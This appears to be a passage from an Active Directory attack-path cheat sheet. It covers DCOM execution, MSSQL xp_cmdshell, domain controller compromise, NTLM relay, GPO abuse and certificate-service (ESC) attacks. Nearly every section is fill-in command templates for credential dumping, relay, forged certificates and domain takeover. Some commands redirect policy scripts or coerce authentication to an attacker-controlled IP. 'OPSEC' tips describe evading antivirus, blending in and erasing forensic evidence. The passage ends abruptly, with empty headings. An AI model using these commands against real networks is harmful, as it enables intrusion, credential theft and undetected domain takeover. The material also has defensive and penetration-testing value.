COMMON ERRORS & FIXES
CHAIN THIS ATTACK
CanRDP → interactive session → run mimikatz → credential dump
Common chains:
- RDP → mimikatz → LSASS dump → pass-the-hash
- RDP → run SharpHound → BloodHound data exfil
ExecuteDCOM - DCOM Execution
Execute code via DCOM. Bypasses many AV/EDR products that monitor SMB/WinRM.
dcomexec.py -object MMC20 '{DOMAIN}/{USERNAME}:{PASSWORD}'@{TARGET_COMPUTER}
dcomexec.py -object ShellBrowserWindow '{DOMAIN}/{USERNAME}:{PASSWORD}'@{TARGET_COMPUTER}
$com = [Type]::GetTypeFromCLSID('49B2791A-B1AE-4C90-9B8E-E860BA07F889','{TARGET_COMPUTER}')
$obj = [Activator]::CreateInstance($com)
$obj.Document.Application.ShellExecute('cmd.exe','/c whoami','c:\\windows\\system32',$null,0)
SharpCom.exe /target:{TARGET_COMPUTER} /command:'whoami'
Invoke-DCOM -ComputerName {TARGET_COMPUTER} -Method MMC20.Application.ShellExecute -Command cmd.exe -Argument '/c whoami'
TIPS & OPSEC
- AV/EDR evasion: DCOM often bypasses SMB-based detection. Good alternative to psexec.
- MMC20: Most common DCOM object for execution. May be blocked in hardened environments.
- ShellBrowserWindow: Alternative DCOM object if MMC20 is blocked.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
ExecuteDCOM → code execution → SYSTEM shell → credential dump
Common chains:
- DCOM → mimikatz → pass-the-hash → lateral movement
SQLAdmin - MSSQL Compromise
Administrative access to MSSQL instance. Can enable xp_cmdshell for code execution.
mssqlclient.py '{DOMAIN}/{USERNAME}:{PASSWORD}'@{TARGET_COMPUTER}
nxc mssql {TARGET_COMPUTER} -u {USERNAME} -p '{PASSWORD}' -M mssql_priv
sqsh -S {TARGET_COMPUTER} -U '{DOMAIN}\{USERNAME}' -P '{PASSWORD}'
tsql -S {TARGET_COMPUTER} -U '{DOMAIN}\{USERNAME}' -P '{PASSWORD}'
Invoke-SqlCmd -ServerInstance '{TARGET_COMPUTER}' -Query "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;" -Credential $cred
Import-Module PowerUpSQL
Get-SQLServerLinkCrawl -Instance {TARGET_COMPUTER} | Get-SQLQuery -Query 'whoami'
# Open SQL Server Management Studio, connect, run xp_cmdshell.
TIPS & OPSEC
- Step-by-step: enable_xp_cmdshell → xp_cmdshell 'whoami' → code execution.
- Link crawling: Use PowerUpSQL Get-SQLServerLinkCrawl for linked server privilege escalation.
- OPSEC: xp_cmdshell is heavily monitored. Use CLR integration or agent jobs for stealth.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
SQLAdmin → xp_cmdshell → SYSTEM shell → credential dump
Common chains:
- xp_cmdshell → reverse shell → domain enumeration
- Linked servers → link crawl → sysadmin on remote instance
DCFor - Domain Controller Compromise
Target is a Domain Controller. Compromise it for full domain control via DCSync, Golden Ticket, or exploit.
zerologon.py -exploit {DC_HOSTNAME} {DC_IP} secretsdump.py -no-pass '{DOMAIN}/{DC_HOSTNAME}$@{DC_IP}'
PetitPotam.py -u {USERNAME} -p '{PASSWORD}' -d {DOMAIN} {ATTACKER_IP} {DC_IP} ntlmrelayx.py -t ldap://{DC_IP} --delegate-access --add-computer
DFSCoerce.py -u {USERNAME} -p '{PASSWORD}' -d {DOMAIN} {ATTACKER_IP} {DC_IP} ShadowCoerce.py -u {USERNAME} -p '{PASSWORD}' -d {DOMAIN} {ATTACKER_IP} {DC_IP}
noPac.py -dc-ip {DC_IP} {DOMAIN}/{USERNAME}:{PASSWORD} -shell samtheadmin.py '{DOMAIN}/{USERNAME}:{PASSWORD}' -dc-ip {DC_IP} -scheme ldap
secretsdump.py '{DOMAIN}/{USERNAME}:{PASSWORD}'@{DC_IP} -just-dc
lsadump::lsa /patch
SharpZeroLogon.exe {DC_HOSTNAME}
Rubeus.exe dump /service:krbtgt /user:krbtgt /domain:{DOMAIN}
TIPS & OPSEC
- Zerologon: CVE-2020-1472. Sets DC computer account password to empty. Extremely noisy.
- PetitPotam: Coerces DC to authenticate to attacker. Combine with ntlmrelayx or certipy relay.
- noPac: samAccountName spoofing. Requires writable computer account.
- Golden Ticket: After krbtgt hash extraction, create persistent TGT for any user.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
DCFor → DCSync / exploit → full domain compromise
Common chains:
- Zerologon → empty password → secretsdump → krbtgt → Golden Ticket
- PetitPotam → relay to LDAP → add computer → RBCD → SYSTEM on DC
CoerceToTGT - Unconstrained Delegation
Compromise unconstrained delegation computer → coerce DC → capture TGT → DCSync.
PetitPotam.py -u {USERNAME} -p '{PASSWORD}' -d {DOMAIN} {ATTACKER_IP} {TARGET_DC_IP}
DFSCoerce.py -u {USERNAME} -p '{PASSWORD}' -d {DOMAIN} {ATTACKER_IP} {TARGET_DC_IP} printerbug.py '{DOMAIN}/{USERNAME}:{PASSWORD}'@{TARGET_DC_IP} {ATTACKER_IP}
ntlmrelayx.py -tf targets.txt -socks
nxc smb {TARGET_DC_IP} -u {USERNAME} -p '{PASSWORD}' -M petitpotam
Rubeus.exe monitor /interval:10 /filteruser:DC$ SpoolSample.exe {TARGET_DC_IP} {ATTACKER_IP}
SharpSpoolTrigger.exe {TARGET_DC_IP} {ATTACKER_IP}
SharpSystem.exe {TARGET_DC_IP} {ATTACKER_IP}
TIPS & OPSEC
- Step-by-step: 1) Compromise unconstrained delegation computer. 2) Coerce DC. 3) Capture TGT. 4) DCSync.
- Rubeus monitor: Monitors for incoming TGTs on unconstrained delegation host.
- PrinterBug: MS-RPRN coercion. Works on most DCs unless patched.
- OPSEC: Coercion is loud. Combine with business hours for blending in.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
CoerceToTGT → capture TGT → DCSync → full domain compromise
Common chains:
- PetitPotam → TGT → Pass-the-Ticket → secretsdump.py -k
- PrinterBug → Rubeus monitor → DCSync all hashes
CoerceAndRelayNTLMToSMB - NTLM Relay to SMB
Coerce target to authenticate via NTLM, then relay to SMB on another target.
ntlmrelayx.py -t smb://{TARGET} -smb2support
python3 MultiRelay.py -t {TARGET} -u ALL
nxc smb {TARGET} -u {USERNAME} -p '{PASSWORD}' --gen-relay-list targets.txt
Invoke-InveighRelay -Command '-t {TARGET} -SMB'
TIPS & OPSEC
- SMB signing: If required on target, relay will fail. Check with nxc smb --gen-relay-list.
- Coercion: Use PetitPotam, printerbug, or WebDAV to trigger NTLM auth.
- Multiple targets: ntlmrelayx.py supports -tf targets.txt for multi-target relay.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
Coerce → relay to SMB → command execution / dump SAM
Common chains:
- PetitPotam → ntlmrelayx.py -t smb://DC → add computer → RBCD
CoerceAndRelayNTLMToLDAP - NTLM Relay to LDAP
Coerce target to authenticate via NTLM, then relay to LDAP to modify directory objects.
ntlmrelayx.py -t ldap://{DC_IP} --delegate-access --add-computer
ntlmrelayx.py -t ldap://{DC_IP} --escalate-user {USERNAME}
Invoke-InveighRelay -Command '-t ldap://{DC_IP} --delegate-access'
TIPS & OPSEC
- LDAP signing: Blocks NTLM relay to LDAP. Check if signing is enforced.
- --delegate-access: Grants RBCD rights for the relayed account. Immediate escalation path.
- --add-computer: Adds a computer account via relay. Useful for RBCD setup.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
Coerce → relay to LDAP → add computer / RBCD → SYSTEM
Common chains:
- PetitPotam → ntlmrelayx.py -t ldap://DC --delegate-access → RBCD → psexec
CoerceAndRelayNTLMToLDAPS - NTLM Relay to LDAPS
Coerce target to authenticate via NTLM, then relay to LDAPS. Channel binding (EPA) may block this.
ntlmrelayx.py -t ldaps://{DC_IP} --delegate-access --add-computer
Invoke-InveighRelay -Command '-t ldaps://{DC_IP} --delegate-access'
TIPS & OPSEC
- Channel binding (EPA): If enforced, LDAPS relay is blocked. No known bypass.
- Verification: Check if
LDAPSChannelBindingregistry value is set to 2 (always).
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
Coerce → relay to LDAPS → modify directory → escalation
Common chains:
- LDAPS relay → add RBCD → S4U → admin access
CoerceAndRelayNTLMToADCS - ESC8
Coerce target to authenticate to AD CS Web Enrollment, relay for certificate issuance.
ntlmrelayx.py -t http://{CA_IP}/certsrv/certfnsh.asp --adcs --template Machine
certipy relay -target http://{CA_IP}/certsrv/certfnsh.asp -template Machine
ADCSPwn.exe --adcs {CA_NAME} --remote {TARGET}
ADCSPwn.exe --adcs {CA_NAME} --remote {TARGET}
Invoke-InveighRelay -Command '-t http://{CA_IP}/certsrv/certfnsh.asp --adcs'
TIPS & OPSEC
- Prerequisite: Web Enrollment must be enabled on CA.
- WebClient service: Must be running on coerced target for WebDAV-based coercion.
- Template: Use Machine template for computer accounts, User template for users.
- Certificate: Use certipy auth or Rubeus asktgt to authenticate with obtained certificate.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
Coerce → relay to AD CS → obtain certificate → authenticate → admin
Common chains:
- ESC8 → Machine certificate → certipy auth → SYSTEM on DC
- ESC8 → User certificate → Rubeus asktgt → lateral movement
GPO Edges
GPO Edges attack paths and exploitation techniques.
GenericAll on GPO - Mass Compromise
Modify Group Policy Object settings to execute code on all computers where the GPO is applied. Immediate domain-wide or OU-wide compromise.
python3 pyGPOAbuse.py -u {DOMAIN}\\{USERNAME} -p '{PASSWORD}' -d {DC_IP} -gpo-id '{GPO_GUID}' -command 'powershell -enc ...'
smbclient //{DC_IP}/SYSVOL -U '{DOMAIN}/{USERNAME}%{PASSWORD}' -c 'cd {DOMAIN}/Policies/{GPO_GUID}/Machine/Scripts/Startup; put payload.bat'
# Run on Windows target with .NET SharpGPOAbuse.exe --AddComputerTask --GPOID '{GPO_GUID}' --TaskName 'Pwn' --Author '{DOMAIN}\{USERNAME}' --Command 'cmd.exe' --Arguments '/c powershell -enc ...'
SharpGPOAbuse.exe --AddComputerTask --GPOID '{GPO_GUID}' --TaskName 'Pwn' --Author '{DOMAIN}\{USERNAME}' --Command 'cmd.exe' --Arguments '/c powershell -enc ...'
Set-DomainObject -Identity '{GPO_GUID}' -Set @{gPCFileSysPath='\{ATTACKER_IP}\share\fakegpo'} -Credential
# Open Group Policy Management Console, edit GPO, add startup script or scheduled task.
TIPS & OPSEC
- GPO refresh: Default is 90 min (random offset). Force with
gpupdate /forceon target. - SYSVOL: All domain users can read SYSVOL. Be careful with payload placement - visible to defenders.
- OPSEC: GPO modifications create Event 5136/5137. Very high visibility.
- Cleanup: Remove startup scripts/tasks after compromise. Restore original GPC files.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
Modify GPO → Startup script runs → Shell on all affected computers
Common chains:
- Add startup script → mass reverse shell → domain-wide compromise
- Add local admin → lateral movement → credential harvesting
- Deploy scheduled task → persistent access across fleet
GenericAll on OU - Descendant Control
Grant full control over all objects within the OU. Can link malicious GPOs or modify inheritance to affect child objects.
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add genericAll {OU_DN} {USERNAME}
dacledit.py '{DOMAIN}/{USERNAME}:{PASSWORD}' -principal {USERNAME} -target '{OU_DN}' -action write -rights GenericAll -dc-ip {DC_IP}
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' set gplink '{OU_DN}' {{GPO_GUID}}
python3 pyGPOAbuse.py -u {DOMAIN}\\{USERNAME} -p '{PASSWORD}' -d {DC_IP} -gpo-id '{GPO_GUID}' -command 'net user pwned Pass1234! /add'
Add-DomainObjectAcl -TargetIdentity '{OU_DN}' -PrincipalIdentity {USERNAME} -Rights GenericAll -Credential $cred
New-GPLink -Name '{GPO_NAME}' -Target '{OU_DN}' -Enforced Yes -Credential $cred
dsacls '{OU_DN}' /G '{DOMAIN}\{USERNAME}:GA'
TIPS & OPSEC
- Inheritance: Check if 'Block Inheritance' is set on child OUs. May prevent GPO application.
- Descendant rights: GenericAll on OU does NOT automatically propagate to children unless inheritance is enabled.
- Event 5136: Directory service changes logged for OU modifications.
- Cleanup: Remove added ACEs with dacledit.py -action restore or bloodyAD remove genericAll.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
Grant descendant GenericAll → ForceChangePassword on admin → Domain compromise
Common chains:
- Link GPO to OU → all computers in OU execute payload
- Grant GenericAll on OU → modify all users → password spray
- Add computer to OU → use as RBCD helper
GenericWrite on DOMAIN - GP-Link, Description
Write the GP-Link attribute to link a malicious GPO, or write description for social engineering. Cannot modify most security attributes without GenericAll.
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' set gplink '{DOMAIN_DN}' {{GPO_GUID}}
python3 pyGPOAbuse.py -u {DOMAIN}\\{USERNAME} -p '{PASSWORD}' -d {DC_IP} -gpo-id '{GPO_GUID}' -command 'powershell -enc ...'
New-GPLink -Name '{GPO_NAME}' -Target '{DOMAIN_DN}' -Enforced Yes -Credential $cred
# Open GPMC, right-click domain, Link an Existing GPO.
TIPS & OPSEC
- GPO link: Requires Edit rights on the GPO itself. GenericWrite on domain only allows linking.
- Enforced: Use -Enforced Yes to bypass OU-level Block Inheritance.
- Description: Writing description can be used for phishing or social engineering.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
Link malicious GPO → Startup script → Domain-wide shell
Common chains:
- Link GPO → mass reverse shell → domain compromise
- Link GPO → add local admin → persistent access
WriteGPLink - GPO Link Manipulation
Write the gPLink attribute on a domain or OU to link a malicious GPO.
python3 pyGPOAbuse.py -u {DOMAIN}\\{USERNAME} -p '{PASSWORD}' -d {DC_IP} -gpo-id '{GPO_GUID}' -command 'powershell -enc ...'
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' set gplink '{OU_DN}' {{GPO_GUID}}
SharpGPOAbuse.exe --AddComputerTask --GPOID '{GPO_GUID}' --TaskName 'Pwn' --Author '{DOMAIN}\{USERNAME}' --Command 'cmd.exe' --Arguments '/c powershell -enc ...'
New-GPLink -Name '{GPO_NAME}' -Target '{OU_DN}' -Enforced Yes -Credential $cred
# Open GPMC, right-click OU, Link an Existing GPO.
TIPS & OPSEC
- Need both: WriteGPLink on OU AND Edit rights on GPO.
- Enforced: Use -Enforced to bypass Block Inheritance on child OUs.
- Event 5136: gPLink modification logged. High visibility.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
WriteGPLink → malicious GPO → code execution on all affected computers
Common chains:
- Link GPO to domain root → domain-wide compromise
- Link GPO to high-value OU → targeted compromise
GenericWrite on GPO - GPT Modification
Write to gPCFileSysPath or modify GPT permissions. Can redirect GPO to attacker-controlled SYSVOL path.
smbclient //{DC_IP}/SYSVOL -U '{DOMAIN}/{USERNAME}%{PASSWORD}' -c 'cd {DOMAIN}/Policies/{GPO_GUID}/Machine/Scripts/Startup; put payload.bat'
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' set object '{GPO_GUID}' gPCFileSysPath '\\\\{ATTACKER_IP}\share\\fakegpo'
Copy-Item \path\payload.bat \\{DC_IP}\SYSVOL\{DOMAIN}\Policies\{GPO_GUID}\Machine\Scripts\Startup\
SharpGPOAbuse.exe --AddComputerTask --GPOID '{GPO_GUID}' ...
TIPS & OPSEC
- gPCFileSysPath: Redirecting this causes clients to pull scripts from attacker server.
- Permissions: Need write access to both GPC (LDAP) and GPT (SYSVOL files).
- Replication: SYSVOL replicates to all DCs. Changes propagate quickly.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
GenericWrite on GPO → modify GPT → code execution on all applied computers
Common chains:
- Modify startup script → mass reverse shell → domain-wide compromise
AD CS (ESC)
AD CS (ESC) attack paths and exploitation techniques.
ADCSESC1 - Client Supply Subject + Auth EKU
Enroll rights + client supplies subject + authentication EKU + no manager approval + published to trusted CA.
certipy req -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {CA_NAME} -template {CERT_TEMPLATE} -ca '{CA_NAME}' -upn Administrator@{DOMAIN}
certipy auth -pfx Administrator.pfx -domain {DOMAIN}
certipy find -target {DC_IP} -bloodhound
Certify.exe request /ca:{CA_NAME} /template:{CERT_TEMPLATE} /altname:Administrator
certreq.exe -submit -attrib "CertificateTemplate:{CERT_TEMPLATE}" request.req
TIPS & OPSEC
- Alternative SAN types: /upn, /dns, /sid. UPN is most common.
- Cleanup: Delete issued certificate after use to reduce forensic evidence.
- Detection: Certificate enrollment with altname may be logged by CA audit.
COMMON ERRORS & FIXES
certipy find -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {DC_IP}CHAIN THIS ATTACK
ESC1 → request cert as Admin → authenticate → Domain Admin
Common chains:
- certipy req -upn Administrator → certipy auth → DA shell
- Certify.exe request /altname → Rubeus asktgt → psexec
ADCSESC3 - Enrollment Agent
Request enrollment agent certificate, then request certificate on behalf of another user.
certipy req -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {CA_NAME} -template EnrollmentAgent -ca '{CA_NAME}'
certipy req -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {CA_NAME} -template User -ca '{CA_NAME}' -on-behalf-of Administrator -pfx EnrollmentAgent.pfx
Certify.exe request /ca:{CA_NAME} /template:EnrollmentAgent /onbehalfof:Administrator
TIPS & OPSEC
- Enrollment Agent: Requires specific template with Certificate Request Agent EKU.
- On-behalf-of: Second request uses the agent certificate to request cert for target user.
- Chain: ESC3 requires two certificate requests. Automate with certipy.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
ESC3 → agent cert → on-behalf-of cert → authenticate → admin
Common chains:
- EnrollmentAgent → on-behalf-of Administrator → Rubeus ptt → SYSTEM
ADCSESC4 - Template Control
Modify existing certificate template to enable ESC1 conditions. Already covered in GenericAll on CertTemplate.
certipy template -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {DC_IP} -template {CERT_TEMPLATE} -save-old
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' set object '{CERT_TEMPLATE}' msPKI-Certificate-Name-Flag '1'
Certify.exe template /modify /template:{CERT_TEMPLATE} /attrib:msPKI-Certificate-Name-Flag=1
# Open Certificate Templates MMC, modify template properties manually.
TIPS & OPSEC
- Cleanup: Always restore original template after exploitation.
- Detection: Template modifications are logged. Use during maintenance windows.
- Chain: ESC4 → ESC1 → certipy req → certipy auth → DA access.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
ESC4 → modify template → ESC1 → request cert → authenticate → DA
Common chains:
- Modify template → enable client supply subject → ESC1 → Domain Admin
- Modify template → remove manager approval → instant certificate
ADCSESC5 - PKI Object ACLs
Abuse ACLs on PKI objects: CA, cert template, enrollment services, etc.
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' add genericAll '{CA_NAME}' {USERNAME} certipy find -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {DC_IP}
Add-DomainObjectAcl -TargetIdentity '{CA_NAME}' -PrincipalIdentity {USERNAME} -Rights GenericAll -Credential $cred Certify.exe find /vulnerable
TIPS & OPSEC
- Target objects: Enterprise CA, cert templates, enrollment services, root CA.
- Impact: Can publish arbitrary templates, modify CA security descriptors, or extract CA private key.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
ESC5 → GenericAll on CA → publish malicious template → ESC1 → DA
Common chains:
- GenericAll on CA → enable dangerous template → request cert → admin
ADCSESC6a - EDITF_ATTRIBUTESUBJECTALTNAME2
CA has EDITF_ATTRIBUTESUBJECTALTNAME2 flag set. Allows client to specify SAN in ANY template request.
certipy find -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {DC_IP}
certipy req -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {CA_NAME} -template User -ca '{CA_NAME}' -altname Administrator@{DOMAIN}
certutil -getreg "Policy\EditFlags"
Certify.exe find /vulnerable
TIPS & OPSEC
- Flag detection: certipy find shows if EDITF_ATTRIBUTESUBJECTALTNAME2 is enabled.
- Any template: Even User template becomes ESC1-equivalent when this flag is set.
- Fix:
certutil -setreg Policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
ESC6a → request cert with altname → authenticate → Domain Admin
Common chains:
- ESC6a → User template + altname → certipy auth → DA
ADCSESC7 - Certificate Manager
Certificate Manager can issue/retrieve pending certificate requests. Approve malicious requests.
certipy ca -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {DC_IP} -ca '{CA_NAME}' -issue-request 1
certipy ca -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {DC_IP} -ca '{CA_NAME}' -retrieve-request 1
# Open certsrv.msc, approve pending request.
certutil -resubmit 1
TIPS & OPSEC
- Pending requests: Manager approval required templates queue requests.
- ESC7: Certificate Manager can approve any pending request = bypass approval requirement.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
ESC7 → approve pending request → obtain certificate → authenticate → admin
Common chains:
- Approve malicious cert request → certipy auth → DA access
ADCSESC9 - Weak Kerberos Mapping (UPN/DNS)
NO_SECURITY_EXTENSION flag + weak mapping DC + UPN/DNS in SAN. Authenticate as arbitrary user.
certipy req -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {CA_NAME} -template {CERT_TEMPLATE} -ca '{CA_NAME}' -upn Administrator@{DOMAIN}
certipy req -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {CA_NAME} -template {CERT_TEMPLATE} -ca '{CA_NAME}' -dns {TARGET_COMPUTER}.{DOMAIN}
Certify.exe request /ca:{CA_NAME} /template:{CERT_TEMPLATE} /altname:Administrator
TIPS & OPSEC
- ESC9 (UPN): NO_SECURITY_EXTENSION + UPN mapping enabled + UPN in SAN.
- ESC10 (DNS): NO_SECURITY_EXTENSION + DNS mapping enabled + computer victim + DNS in SAN.
- Verify DC: certipy find shows strongcertificatebindingenforcement and certificatemappingmethods.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
ESC9/10 → request cert with UPN/DNS → authenticate → Domain Admin
Common chains:
- certipy req -upn Administrator → certipy auth → DA shell
ADCSESC11 - Unencrypted RPC Enrollment
CA has IF_ENFORCEENCRYPTICERTREQUEST NOT set. RPC channel to CA is unencrypted. Can downgrade or MITM certificate requests.
certipy req -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {CA_NAME} -template {CERT_TEMPLATE} -ca '{CA_NAME}' -rpc
certutil -config '{CA_NAME}' -submit request.req
TIPS & OPSEC
- Downgrade: Unencrypted RPC allows MITM or modification of certificate requests.
- Fix:
certutil -setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQUEST
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
ESC11 → MITM RPC request → modify certificate → authenticate
Common chains:
- MITM certificate request → add arbitrary EKU → admin cert
ADCSESC12 - CA Private Key Extraction
CA private key stored on vulnerable HSM or with extractable credentials. Requires prior CA server compromise.
lsadump::backupkeys /system:{CA_SERVER}
lsadump::secrets /patch
# Use vendor-specific HSM management tools to extract key material.
lsadump::backupkeys /system:{CA_SERVER}
reg query \\{CA_SERVER}\HKLM\SOFTWARE\Microsoft\Cryptography\Keys
TIPS & OPSEC
- Post-exploitation: Requires code execution on CA server or HSM management interface.
- BloodHound: May show HostsCAService + AdminTo edges leading to CA compromise.
- Impact: Full CA private key = forge certificates for any user indefinitely (GoldenCert).
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
ESC12 → extract CA key → GoldenCert → indefinite domain access
Common chains:
- CA key → ForgeCert → certificate for any user → persistent access
ADCSESC13 - OID Group Link
msDS-OIDToGroupLink links issuance policy OID to privileged universal group. Enroll with policy → group membership.
certipy find -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {DC_IP}
certipy req -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {CA_NAME} -template {CERT_TEMPLATE} -ca '{CA_NAME}' -policy {POLICY_OID}
ldapsearch -x -H ldap://{DC_IP} -D '{USERNAME}@{DOMAIN}' -w '{PASSWORD}' -b 'CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,{DOMAIN_DN}' '(msDS-OIDToGroupLink=*)' msDS-OIDToGroupLink
Certify.exe find /vulnerable
# Open ADSI Edit, navigate to CN=OID, check msDS-OIDToGroupLink.
TIPS & OPSEC
- Step-by-step: 1) Find template linked to OID that maps to privileged group. 2) Enroll with that policy. 3) Authenticate → group membership via certificate.
- Group scope: Linked group must be universal for cross-domain scenarios.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
ESC13 → enroll with policy OID → authenticate → privileged group membership
Common chains:
- Policy OID → Domain Admins group → domain compromise
ADCSESC14 - Weak Certificate Mappings
Weak mappings in altSecurityIdentities: X509RFC822, X509IssuerSubject, X509SubjectOnly. Exploitable after KB5014754 if strong mapping fallback.
bloodyAD --host {DC_IP} -d {DOMAIN} -u {USERNAME} -p '{PASSWORD}' set object {TARGET} altSecurityIdentities 'X509:{ISSUER}{SERIAL}'
certipy req -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {CA_NAME} -template {CERT_TEMPLATE} -ca '{CA_NAME}'
Set-DomainObject -Identity {TARGET} -Set @{altSecurityIdentities='X509:{ISSUER}{SERIAL}'} -Credential $cred
Certify.exe request /ca:{CA_NAME} /template:{CERT_TEMPLATE} /subject:'CN={TARGET}'
TIPS & OPSEC
- Scenario A: Attacker can write altSecurityIdentities on target.
- Scenario B: X509RFC822 mapping → set victim mail to match certificate.
- Scenario C: X509IssuerSubject → set victim cn/dNSHostName to match subject.
- Strong mappings survive: X509IssuerSerialNumber, X509SKI, X509SHA1PublicKey survive post-KB5014754.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
ESC14 → set weak mapping → request matching cert → authenticate → target compromise
Common chains:
- Write altSecurityIdentities → matching cert → authentication as target
ADCSESC15 - Schema V1 Application Policies Abuse
Schema V1 templates allow Application Policies in offline request to override EKU. Create CSR with any Application Policies OID.
Certify.exe find /vulnerable
certipy find -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {DC_IP}
openssl req -new -key priv.key -out csr.req -config <(cat app_policies.conf)
certreq.exe -submit -attrib "CertificateTemplate:{CERT_TEMPLATE}" csr.req
Certify.exe request /template:{CERT_TEMPLATE} /applicationpolicy:1.3.6.1.5.5.7.3.2
certreq -submit -attrib "CertificateTemplate:{CERT_TEMPLATE}" csr.req
TIPS & OPSEC
- Step-by-step: 1) Identify Schema V1 template (schemaversion = 1). 2) Create offline CSR with any Application Policies OID. 3) Submit request. 4) Issued certificate contains attacker-specified EKUs.
- Fix: Migrate all V1 templates to V2+ via duplication in certtmpl.msc.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
ESC15 → V1 template + custom Application Policies → arbitrary EKUs → authentication
Common chains:
- V1 template → custom CSR → cert with Any Purpose EKU → admin access
ADCSESC16 - SID Extension Disabled
CA has DisableExtensionList containing SID extension OID. Without SID extension, strong certificate mapping fails → weak mapping fallback.
certipy find -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {DC_IP}
certutil -getreg Policy\DisableExtensionList
certutil -getreg Policy\DisableExtensionList
reg query \\{CA_SERVER}\HKLM\SOFTWARE\Policies\Microsoft\Windows\CertificateServices\Policy\DisableExtensionList
TIPS & OPSEC
- Abuse: Combine with ESC9/ESC10 (weak mapping already documented).
- Fix: Remove SID extension OID from DisableExtensionList.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
ESC16 → no SID extension → weak mapping fallback → ESC9/10 → admin
Common chains:
- DisableExtensionList blocks SID → weak mapping → certificate auth as arbitrary user
GoldenCert - Forge Certificates with CA Key
Compromise CA private key → forge certificates for any user indefinitely.
certipy forge -ca-pfx CA.pfx -upn Administrator@{DOMAIN}
ForgeCert.exe --CaCertPath CA.pfx --Subject CN=Administrator --Upn Administrator@{DOMAIN}
ForgeCert.exe --CaCertPath CA.pfx --Subject CN=Administrator --Upn Administrator@{DOMAIN}
SharpDPAPI.exe certificates /unprotect ForgeCert.exe --CaCertPath extracted.pfx ...
TIPS & OPSEC
- Impact: Indefinite authentication as any user. Even password changes don't invalidate forged certs.
- Detection: Monitor for unusual certificate issuance patterns and CA audit logs.
- Cleanup: Revoke CA certificate, publish new CRL, reissue all legitimate certificates.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
GoldenCert → forge cert for Administrator → authenticate → permanent domain access
Common chains:
- Forge cert → certipy auth / Rubeus ptt → DA shell → persistent access
ManageCA - CA Management
Manage CA configuration, backup, and template publishing.
certipy ca -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {DC_IP} -ca '{CA_NAME}' -backup
certipy ca -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {DC_IP} -ca '{CA_NAME}' -enable-template {CERT_TEMPLATE}
Certify.exe ca /backup /ca:{CA_NAME}
# Open certsrv.msc, manage CA settings.
TIPS & OPSEC
- Backup: CA backup includes private key. Immediate GoldenCert possibility.
- Template publishing: Can publish dangerous templates for ESC1 exploitation.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
ManageCA → backup CA → extract private key → GoldenCert
Common chains:
- Backup CA → ForgeCert → indefinite domain access
ManageCertificates - Approve/Retrieve Certificates
Issue and retrieve pending certificate requests. Same as ESC7 in practice.
certipy ca -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {DC_IP} -ca '{CA_NAME}' -issue-request 1
certipy ca -u {USERNAME}@{DOMAIN} -p '{PASSWORD}' -target {DC_IP} -ca '{CA_NAME}' -retrieve-request 1
# Open certsrv.msc, manage pending requests.
TIPS & OPSEC
- Pending requests: Can approve malicious requests submitted by others.
- Retrieval: Can retrieve any certificate from CA database.
COMMON ERRORS & FIXES
CHAIN THIS ATTACK
ManageCertificates → approve malicious request → obtain cert → admin
Common chains:
